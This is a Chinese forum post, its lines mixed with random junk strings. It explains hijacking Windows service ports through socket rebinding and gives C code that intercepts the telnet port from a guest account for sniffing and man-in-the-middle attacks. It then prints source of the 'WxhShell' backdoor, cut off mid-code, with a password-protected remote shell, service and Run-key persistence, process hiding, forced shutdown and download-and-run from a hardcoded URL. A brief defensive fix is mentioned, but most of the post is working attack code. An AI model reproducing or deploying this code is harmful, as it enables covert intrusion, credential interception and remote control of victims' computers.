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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: $]2)r[eA)  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); V ;T :Q%  
QZ a.c  
  saddr.sin_family = AF_INET; pO` KtagL  
P49\A^5S!  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); @+u>rS|IB  
d ]P~  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); &k }f"TX2  
I.<c{4K5  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 @R[{  
JB_fS/I  
  这意味着什么?意味着可以进行如下的攻击: 5~*)3z^V  
pCIzpEsRs  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 %$!3Pbu i  
h@:K=gg K  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) _P;D.>?  
[,zq  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 4U}qrN~=  
"/W[gP[y%  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  3N7H7(IR  
)g0fN+Mb  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 {0zn~+  
M;(,0dk  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 UiFH*HT  
V`V\/s gj  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 )pnyVTKt  
+&EXTZ@o  
  #include FfoOJzf~o  
  #include gAqK)@8-  
  #include ;XKe$fsa~?  
  #include    *ukyQZ9  
  DWORD WINAPI ClientThread(LPVOID lpParam);   6  63o  
  int main()  T{YZ`[  
  { MY&Jdmga  
  WORD wVersionRequested; Swi# ^i  
  DWORD ret; ($[wCHU`!  
  WSADATA wsaData; RZ".?  
  BOOL val; zZ5:)YiW-  
  SOCKADDR_IN saddr; ep0,4!#FAO  
  SOCKADDR_IN scaddr; hp\&g2_S0W  
  int err; NxT"A)u  
  SOCKET s; [|}IS@  
  SOCKET sc; C* 7/iRe  
  int caddsize; {z#2gc'Q  
  HANDLE mt; #/)t]&n  
  DWORD tid;   C8N)!5(A  
  wVersionRequested = MAKEWORD( 2, 2 ); r"h;JC/&<T  
  err = WSAStartup( wVersionRequested, &wsaData ); [Kg b#L'{  
  if ( err != 0 ) { |c_qq Bd  
  printf("error!WSAStartup failed!\n"); jc} G+|`  
  return -1; TJ|Jv8j<s  
  } I2cz:U7  
  saddr.sin_family = AF_INET; VtreOJ+  
   #(8|9  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 qUe _B  
pSZ2>^";  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); @f!X%)\;x  
  saddr.sin_port = htons(23); 1>!LK_  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) op,L3:R\Z  
  { +6m.f,14q  
  printf("error!socket failed!\n"); o4(*nz  
  return -1; N.F5)04  
  } JKfG/z|  
  val = TRUE; F L0uY0K  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 =OVDJ0ozZ  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) q'2vE;z Kb  
  { Y +gY"  
  printf("error!setsockopt failed!\n"); _T=g?0 q  
  return -1; VFHd2Ea(  
  } 4w4B\Na>l  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; YO6BzS/~  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 8`Ya7c>  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 eim+oms  
my=f}%k=  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) RaZ>.5 D  
  { 92+8zX  
  ret=GetLastError(); c\bL_  
  printf("error!bind failed!\n"); {pzj@b 1S  
  return -1; 0c_xPBbB+  
  } I`>U#x*  
  listen(s,2); v9$!v^U"D  
  while(1) rr<E#w  
  { >ZA=9v  
  caddsize = sizeof(scaddr); bp1AN9~  
  //接受连接请求 .8hI ad  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 2h E(h  
  if(sc!=INVALID_SOCKET) Ia&R/I  
  { Uv^\[   
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 6Rd4waj_,U  
  if(mt==NULL) vDy&sgS$<  
  { p7h#.m~Qu  
  printf("Thread Creat Failed!\n"); WWT1= #"  
  break; 5{Cz!ut;tE  
  } uOxHa>h  
  } b}J%4Lx%m  
  CloseHandle(mt); }Q7y tE  
  } 4#U}bN  
  closesocket(s); {4"V)9o-1>  
  WSACleanup(); |"H 2'L$  
  return 0; ~z,o):q1 }  
  }   (!j#u)O  
  DWORD WINAPI ClientThread(LPVOID lpParam) 6CJMQi,kn  
  { 8;PkuJR_]  
  SOCKET ss = (SOCKET)lpParam; yNTd_XPL  
  SOCKET sc; IThd\#=  
  unsigned char buf[4096]; &W `xZyb3  
  SOCKADDR_IN saddr; R>Ra~ b  
  long num; n|`3d~9$&  
  DWORD val; n ]ikc|  
  DWORD ret; XtF m5\U  
  //如果是隐藏端口应用的话,可以在此处加一些判断 GK?ual1  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   HpwMm^  
  saddr.sin_family = AF_INET; V\V /2u5-  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ]B8 A  
  saddr.sin_port = htons(23); FLZ9pb[T  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }D/+YG  
  { 0=d2_YzSf  
  printf("error!socket failed!\n"); "S#F I  
  return -1; ^?z%f_ri  
  } 8hRcB[F~S  
  val = 100; 1MelHW  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) v=`yfCX-qX  
  { x2"iZzQlD  
  ret = GetLastError(); LQ0/oYmNc  
  return -1; H= dIZ  
  } ?^|`A}q#  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 18g_v"6o  
  { :_{8amO  
  ret = GetLastError(); 6&3,fSP  
  return -1; !, 4ag1  
  } _Hb;)9y  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) jX53 owZ  
  { qsj{0Go  
  printf("error!socket connect failed!\n"); A_9WSXR  
  closesocket(sc); sXKkZ+2q  
  closesocket(ss); lU WXXuO]  
  return -1; 7Z-j'pq  
  } Z%T Ajm  
  while(1) Sn CwoxK  
  { : =QX^*  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 qHtQ4_Zn;  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 R!nf^*~  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 1/_g36\l$  
  num = recv(ss,buf,4096,0); K!|eN_1A  
  if(num>0) [K{{P|(q  
  send(sc,buf,num,0); $-4](br|  
  else if(num==0) gesbt  
  break;  :Mx  
  num = recv(sc,buf,4096,0); _0/unJl`  
  if(num>0) Dc9uq5l  
  send(ss,buf,num,0); k.@![w\ea  
  else if(num==0) Z9{~t  
  break; Hq@+m!  
  } !oLn=  
  closesocket(ss); sJHVnMA  
  closesocket(sc); 4WT[(  
  return 0 ;  ZR.k'  
  } !\4x{Wa]  
"hkcN+=  
=C\Tl-$\f  
========================================================== \Lx=iKs<  
CK* * RZ  
下边附上一个代码,,WXhSHELL fv+]iK<{  
>7U/TVd&  
========================================================== 1HJ: ?]  
.35(MFvq!  
#include "stdafx.h" d\z6Ob"t  
=j7Du[?Vu  
#include <stdio.h> dab]>% M  
#include <string.h> ]>3Y~KH(  
#include <windows.h> )|gw5N4;  
#include <winsock2.h> 3o.x<G(  
#include <winsvc.h> M!&Hn,22  
#include <urlmon.h> {UNH?2  
MBLZ:A| C  
#pragma comment (lib, "Ws2_32.lib") xJq|,":gj  
#pragma comment (lib, "urlmon.lib") q8 v iC|  
rxCzPF  
#define MAX_USER   100 // 最大客户端连接数 N:j 7J  
#define BUF_SOCK   200 // sock buffer :;?$5h*|`  
#define KEY_BUFF   255 // 输入 buffer 2a d|v]  
2D\ pt  
#define REBOOT     0   // 重启 LIg1U  
#define SHUTDOWN   1   // 关机 <o EAy  
FW]tDGJOw  
#define DEF_PORT   5000 // 监听端口 ^:9a1{L[  
K:Z$V  
#define REG_LEN     16   // 注册表键长度 \aSP7DzqQ  
#define SVC_LEN     80   // NT服务名长度 {kpad(E  
)g5?5f;  
// 从dll定义API ;0DoZ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *^>"  h@J  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); TrI+F+;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); hgU;7R,?ir  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]jT}]9Q$  
fQ+whGB  
// wxhshell配置信息 KsDS!O  
struct WSCFG { U}92%W?  
  int ws_port;         // 监听端口 InPE_  
  char ws_passstr[REG_LEN]; // 口令 F^,:p.ihm<  
  int ws_autoins;       // 安装标记, 1=yes 0=no &/@V$'G=  
  char ws_regname[REG_LEN]; // 注册表键名 :!gNOR6Lh  
  char ws_svcname[REG_LEN]; // 服务名 CmEqo;Is  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 tE*BZXBlm  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ||+~8z#+,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Pnytox  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Nt>^2Mv   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" fit{n]g  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 EJ:O 1  
{Jn0G;  
}; M7#!Y=  
m8n)sw,,  
// default Wxhshell configuration `_/bg(E  
struct WSCFG wscfg={DEF_PORT, <G})$f'x2  
    "xuhuanlingzhe", wAh]C;+{  
    1, zB.cOMx  
    "Wxhshell", 3Z*r#d$nh:  
    "Wxhshell", fA=Z):w  
            "WxhShell Service", O9ex=m `L  
    "Wrsky Windows CmdShell Service", 0`/G(ukO  
    "Please Input Your Password: ", ,dC.|P' `  
  1, WJ{Iv] }9  
  "http://www.wrsky.com/wxhshell.exe", <4r8H-(%  
  "Wxhshell.exe" reu[rZ&  
    }; %;`Kd}CO  
(j}7|*.  
// 消息定义模块 <J509j  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; j>8DaEfwx  
char *msg_ws_prompt="\n\r? for help\n\r#>"; =rKJJa N  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; b.*LmSX#  
char *msg_ws_ext="\n\rExit."; rPH7 ]]  
char *msg_ws_end="\n\rQuit."; i>M%)HN  
char *msg_ws_boot="\n\rReboot..."; ]r`;89:s>  
char *msg_ws_poff="\n\rShutdown..."; -K{R7  
char *msg_ws_down="\n\rSave to "; "vGh/sXW  
H cmW  
char *msg_ws_err="\n\rErr!"; 1>(EvY}Y\  
char *msg_ws_ok="\n\rOK!"; R"ON5,E  
G,C`+1$*  
char ExeFile[MAX_PATH]; _CD~5EA:  
int nUser = 0; WD5J2EePT  
HANDLE handles[MAX_USER];  ETZf  
int OsIsNt; 7F<{ Qn  
G ;j1zs  
SERVICE_STATUS       serviceStatus; @*%3+9`yq  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; EP:`l  
Po?MTA  
// 函数声明 @O"7@%nu  
int Install(void); >u=  
int Uninstall(void); "FHJ_$!  
int DownloadFile(char *sURL, SOCKET wsh); Q,?_;,I}  
int Boot(int flag); xG!~TQ  
void HideProc(void); ^ `LqNG  
int GetOsVer(void); P2n8HFi  
int Wxhshell(SOCKET wsl); 7FH(C`uKi  
void TalkWithClient(void *cs); _k:8ib2TQ  
int CmdShell(SOCKET sock); !}Xoqamm  
int StartFromService(void); 8}n< 3_  
int StartWxhshell(LPSTR lpCmdLine); 0zW*JJxV  
-YNpHd/;,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); FjCGD4x1N  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); rLTBBvV  
^4=#, K  
// 数据结构和表定义 rK gl:s j+  
SERVICE_TABLE_ENTRY DispatchTable[] = [O3:?BNY  
{ 9NTNulD>P  
{wscfg.ws_svcname, NTServiceMain}, ni;)6,i  
{NULL, NULL} n)yDep]$G  
}; @]qP:h.  
1PY]Q{r  
// 自我安装 i l^;2`]&  
int Install(void) ("U<@~  
{ b<FE   
  char svExeFile[MAX_PATH]; gC}}8( k  
  HKEY key; eT b!xb  
  strcpy(svExeFile,ExeFile); Pmv@  
BX/3{5Y>{  
// 如果是win9x系统,修改注册表设为自启动 ,Zmjw@ w  
if(!OsIsNt) { )N 3^r>(e<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { TcZ.5Oe6h#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >pu4G+M  
  RegCloseKey(key); /3s&??{tv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T0 K!Msz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2^[dy>[y0  
  RegCloseKey(key); tz ;3  
  return 0; cWW?@ _  
    } 8 a]'G)(ts  
  } sVx}(J  
} #mV2VIX#Jv  
else { fkI 5~Y|  
\'~ E%=Q  
// 如果是NT以上系统,安装为系统服务 q7 PCMe  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^N7H~CT"  
if (schSCManager!=0) Pd7\Q]of  
{ *)K\&h<{  
  SC_HANDLE schService = CreateService J9lZ1,22  
  ( 4iAF<|6s  
  schSCManager, :#:|:q.]  
  wscfg.ws_svcname, MpOU>\  
  wscfg.ws_svcdisp, ,rMDGZm?  
  SERVICE_ALL_ACCESS, <AU*lLZ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _ [k \S|iY  
  SERVICE_AUTO_START, z~Q=OPCnY  
  SERVICE_ERROR_NORMAL, aL1%BGlmZ<  
  svExeFile, ||hQ*X<m>  
  NULL,  VAiJL  
  NULL, M5{#!d}^D  
  NULL, 1.14tS-}[4  
  NULL, w_{tS\  
  NULL Qvp"gut)%X  
  ); s4bV0k  
  if (schService!=0) ` <1Wf  
  { i"&FW&W  
  CloseServiceHandle(schService); <Y k i8  
  CloseServiceHandle(schSCManager); 4Ly>x>b<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); F85_Lz4  
  strcat(svExeFile,wscfg.ws_svcname); '=0}2sF>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;<Q%d~$xy}  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4&W?: =H2  
  RegCloseKey(key); mB-,\{)  
  return 0; 'xH^ksb"  
    } `X<B+:>v-  
  } >Y>R1b%  
  CloseServiceHandle(schSCManager); 811>dVq3/  
} %u!=<yn'  
} xr'1CP  
 +vkmS  
return 1; Y,s EM%  
} f$dPDbZQ  
O cL7] b0  
// 自我卸载 b`X''6  
int Uninstall(void) m(8Tup|  
{ <>6j>w_|  
  HKEY key; rpKZ>S|7+)  
nJe}U#  
if(!OsIsNt) { n^nE&'[?0g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x3ZF6)@  
  RegDeleteValue(key,wscfg.ws_regname); B@F@,?K4%  
  RegCloseKey(key); FJeh=\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @jn&Wf?  
  RegDeleteValue(key,wscfg.ws_regname); nL 5tHz:e  
  RegCloseKey(key); BAQ-1kSz  
  return 0; D [+LU(  
  } hC2Fup1@  
} `n$Ak5f  
} Z1 Nep !  
else { u ON(LavB  
r,;ca6>5H  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); DMUirA;  
if (schSCManager!=0) +Kk1[fh-  
{ 8n3]AOc'~-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); poBeEpbs  
  if (schService!=0) 6nTM~]5.  
  { WJq>%<#  
  if(DeleteService(schService)!=0) { c9+G Qp  
  CloseServiceHandle(schService); G[KjK$.Ts?  
  CloseServiceHandle(schSCManager); *?<N3Rr*  
  return 0; x^K4&'</  
  } HJ&P[zV^  
  CloseServiceHandle(schService); IHTim T?  
  } 1gHe$ dzXk  
  CloseServiceHandle(schSCManager); 9[qOfIny  
} d<-f:}^k0  
} D;YfQQr  
P}4&J ^  
return 1; .HZd.*  
} h,{Q%sqO  
V&f*+!!2  
// 从指定url下载文件 C&z!="hMhR  
int DownloadFile(char *sURL, SOCKET wsh) "L2*RX.R  
{ jZ.yt+9  
  HRESULT hr; _^FC 9  
char seps[]= "/"; SWr TM  
char *token; W'4/cO  
char *file; ?("O.<  
char myURL[MAX_PATH]; ^$Y9.IH"  
char myFILE[MAX_PATH]; [-\Y?3  
]r;rAOWVV  
strcpy(myURL,sURL); wlNL;W@w  
  token=strtok(myURL,seps); dWn6-es  
  while(token!=NULL) B''yW{  
  { ^ 9+ Qxv  
    file=token; v*.R<- X:  
  token=strtok(NULL,seps); hi,=" /9  
  } &>qUT]w  
7$<pdayd  
GetCurrentDirectory(MAX_PATH,myFILE); &m3-][ !n  
strcat(myFILE, "\\"); eDpi0htm  
strcat(myFILE, file); htB7 j(  
  send(wsh,myFILE,strlen(myFILE),0); +;W%v7 %<  
send(wsh,"...",3,0); Gj?Zbl <  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =n,;S W  
  if(hr==S_OK) R%.`h  
return 0; U =J5lo  
else (m3hD)!+y  
return 1; ]+:yfDtZd  
4.,EKw3  
} :-{"9cgF R  
CmB_g?K  
// 系统电源模块 %gmx47  
int Boot(int flag) *}vvS^c0  
{ o"JH B  
  HANDLE hToken; /[TOy2/;%b  
  TOKEN_PRIVILEGES tkp; UIEvwQ  
/<-PW9X?  
  if(OsIsNt) { GQt5GOt  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0$|VkMq(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "-f]d~P>  
    tkp.PrivilegeCount = 1; k^}[+IFJ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -f|/#1  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); SNqSp.>-U"  
if(flag==REBOOT) { 1NP  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _\>y[e["p  
  return 0; 2mEqfy  
} x/<ow4C  
else { mW{;$@PLF"  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) N[ = I  
  return 0; JA4Zg*7I  
} k^oSG1F  
  } 8sj2@d  
  else { a[hF2/*  
if(flag==REBOOT) { w9Yx2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) k*A(7qQA`4  
  return 0; )>M L7y  
} \ZRII<k5)  
else { ()6% 1zCO  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) A'w+Lc.2  
  return 0; <qR$ `mLN  
} !IOmJpl'  
} OmuE l>  
:P q&l.  
return 1; c^=q(V  
} 8 o}5QOW  
k1D7=&i  
// win9x进程隐藏模块 U)kyq  
void HideProc(void) mH,s!6j?Vp  
{ 4>(K~v5;N  
Mg\588cI  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .45wwouZkc  
  if ( hKernel != NULL ) Z kw-a  
  { c&T5C, ]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); DAq H  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #N`'hPD}  
    FreeLibrary(hKernel); ++~ G\T9H  
  } 1tXc7NA<  
d*+}_EV)Y3  
return; {b-C,J  
} 6Y[&1c8  
N,w6  
// 获取操作系统版本 q<\r}1Dm  
int GetOsVer(void) +_:p8, 5o  
{ ^(&2  
  OSVERSIONINFO winfo; ^RnQX#+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Y<;C>Rs  
  GetVersionEx(&winfo); >> cW0I/`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) L\ysy2E0  
  return 1; s-*N_Dv  
  else IRM jL.q  
  return 0; %enJ[a%Qg  
} ` .`:~_OE  
]}SV%*{ %  
// 客户端句柄模块 R{}_Qb  
int Wxhshell(SOCKET wsl) !& c%!*  
{ cY} jPDH  
  SOCKET wsh; +]t9kr  
  struct sockaddr_in client; >kAJS??  
  DWORD myID; 1%M^MT%&  
leHKBu'd  
  while(nUser<MAX_USER) x75;-q  
{ 3=]/+{B  
  int nSize=sizeof(client); TPb&";4ROf  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); a?Om;-i2`S  
  if(wsh==INVALID_SOCKET) return 1; ip'v<%,Q3"  
TJ>YJ D  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); e77s?WxbK  
if(handles[nUser]==0) |QzJHP @  
  closesocket(wsh); akw:3+`  
else zX=%BL?  
  nUser++; :8n?G  
  } .aZB?M W  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :x q^T  
9^S rOW6~  
  return 0; ~i^,Z&X:  
} pnz@;+f  
#O^zA`D   
// 关闭 socket .f!'> _  
void CloseIt(SOCKET wsh) 3s BWtz  
{ ^?%ThPo_  
closesocket(wsh); <\:*cET3  
nUser--; ve#[LBOC8  
ExitThread(0); dd=5`Bo9Yh  
} ]Gl_L7u`  
^R\5'9K!  
// 客户端请求句柄 e /XOmv  
void TalkWithClient(void *cs) Z[+Qf3j}o6  
{ ,[m4+6G5  
9LQy 0Gx  
  SOCKET wsh=(SOCKET)cs; X pXhg*}K  
  char pwd[SVC_LEN]; j@JY-^~K5  
  char cmd[KEY_BUFF]; -eSI"To L<  
char chr[1]; 6O5E4=  
int i,j; p*P0<01Z  
[u3^R]  
  while (nUser < MAX_USER) { UIQ=b;J9  
*|+ ~V/#  
if(wscfg.ws_passstr) { kGq<Zmy|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); VAxk?P0j6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _}Gs9sHr0K  
  //ZeroMemory(pwd,KEY_BUFF); RkdAzv!Y7  
      i=0; :Z ]E:f0P  
  while(i<SVC_LEN) { 7Ph+Vs+h  
`Geq,  
  // 设置超时 d\z':d .Tt  
  fd_set FdRead; 43J8PMY  
  struct timeval TimeOut; }=3W(1cu-  
  FD_ZERO(&FdRead); p|Fhh\,*`X  
  FD_SET(wsh,&FdRead); ]*S_fme  
  TimeOut.tv_sec=8; uuh vd h=  
  TimeOut.tv_usec=0; 8DrKq]&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (aCl*vV1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); J! eVw\6  
nfvs"B;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I^ A01\p  
  pwd=chr[0]; ;rta#pRn  
  if(chr[0]==0xd || chr[0]==0xa) { A%M&{S'+|X  
  pwd=0; QQjMC'  
  break; .+AO3~Dg  
  } ldoN!J  
  i++; ~w%Z Bp  
    } ,v1-y ?kB  
_jb"@TY  
  // 如果是非法用户,关闭 socket B<'V7#L_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;lWy?53=@  
}  K[TMTn  
&9] [ ~$  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .J\U|r  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >-y&k^a=  
<Q-ufF85)  
while(1) { zT+yZA.L  
cfe[6N  
  ZeroMemory(cmd,KEY_BUFF); =Jl1D*B*  
Pq7tNM E  
      // 自动支持客户端 telnet标准   0\}j[-`pF  
  j=0; PuABS>.;  
  while(j<KEY_BUFF) { ~KfjT p#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -+I! (?  
  cmd[j]=chr[0]; <F.Ol/'h  
  if(chr[0]==0xa || chr[0]==0xd) { 7#|NQ=yd  
  cmd[j]=0; \ZDT=?  
  break; yM D* >8/  
  } .y[K =p3  
  j++; $l[*Y  
    } 1@qb.9wZ6  
7iJk0L$]x  
  // 下载文件 " Gn; Q-@  
  if(strstr(cmd,"http://")) { yZ)ScB^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); s*#|EdD6@  
  if(DownloadFile(cmd,wsh)) IA!ixabG  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !`#9#T|  
  else WE~3(rs#X#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |)JoxqR  
  } _&![s]  
  else { 6k3l/~R  
fAUsJ[  
    switch(cmd[0]) { s* YFN#Wuc  
  17Gdu[E  
  // 帮助 ?h3Ow`1G  
  case '?': { m<f{7]fi5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?H c A&  
    break; 246lFx G.  
  } =<_5gR  
  // 安装 QBn>@jq  
  case 'i': { &{=~)>h  
    if(Install()) a!^wc,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jh0$:6 `C  
    else nG*6ic  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z "=(u wM  
    break; O.}gG6u5  
    } tB3CX\e  
  // 卸载 \+~4t  
  case 'r': { 7Y*m_AhxJ  
    if(Uninstall()) i:8^:(i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I~qiF%?d  
    else 4K;j:ZJ"x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ry]7$MQyV  
    break; v#+w<gRq  
    } h{xER IV1u  
  // 显示 wxhshell 所在路径 ?-84_i  
  case 'p': { XP^6*}H.*  
    char svExeFile[MAX_PATH]; 7~Ga>BK  
    strcpy(svExeFile,"\n\r"); rYS D-Kq  
      strcat(svExeFile,ExeFile); 9iy|=  
        send(wsh,svExeFile,strlen(svExeFile),0); 1DcarF  
    break; n1/lE)  
    } #rr-4$w+  
  // 重启 #Fd( [Zx#.  
  case 'b': { uWInx6p  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `^ _:  
    if(Boot(REBOOT)) Bw=[g&+o1@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %UJ4wm  
    else { a*[\edcHU  
    closesocket(wsh); ?BZ][~n-Q  
    ExitThread(0); 5#o,]tP  
    } ibc/x v2  
    break; V$%K=[  
    } Fb' wC  
  // 关机 KTEis!w  
  case 'd': { qi2dTB  
